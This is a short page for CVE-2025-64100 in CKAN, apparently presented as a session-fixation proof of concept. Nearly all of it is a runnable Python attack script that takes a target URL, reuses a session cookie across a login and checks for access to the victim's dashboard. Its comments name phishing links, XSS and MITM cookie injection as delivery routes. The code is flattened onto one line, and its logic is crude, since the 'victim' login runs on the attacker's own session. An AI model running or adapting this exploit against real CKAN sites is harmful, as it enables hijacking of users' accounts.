CVE-2025-64100 CKAN会话固定漏洞

import requests import argparse def session_fixation_poc(target_url, attacker_controlled_session): """ Session Fixation PoC for CVE-2025-64100 This PoC demonstrates the session fixation vulnerability in CKAN """ # Step 1: Attacker obtains a valid session ID session = requests.Session() response = session.get(target_url) session_id = session.cookies.get('session_id') or attacker_controlled_session # Step 2: Injected session ID set on victim's browser (social engineering) # In real attack, this would be done via: # - Phishing link with ?session_id=ATTACKER_SESSION # - XSS payload setting the cookie # - MITM attack injecting the cookie # Step 3: Victim logs in (session ID not regenerated) login_url = f"{target_url}/user/login" login_data = { 'login': 'victim_username', 'password': 'victim_password' } response = session.post(login_url, data=login_data) # Step 4: Attacker uses the same session ID to hijack attacker_session = requests.Session() attacker_session.cookies.set('session_id', session_id) # Step 5: Access victim's authenticated session dashboard_url = f"{target_url}/user/dashboard" response = attacker_session.get(dashboard_url) if response.status_code == 200 and 'logged_in' in response.text: print('[+] Session hijacking successful!') print(f'[+] Session ID used: {session_id}') else: print('[-] Attack failed') if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-64100 Session Fixation') parser.add_argument('--url', required=True, help='Target CKAN URL') parser.add_argument('--session', help='Attacker-controlled session ID') args = parser.parse_args() session_fixation_poc(args.url, args.session)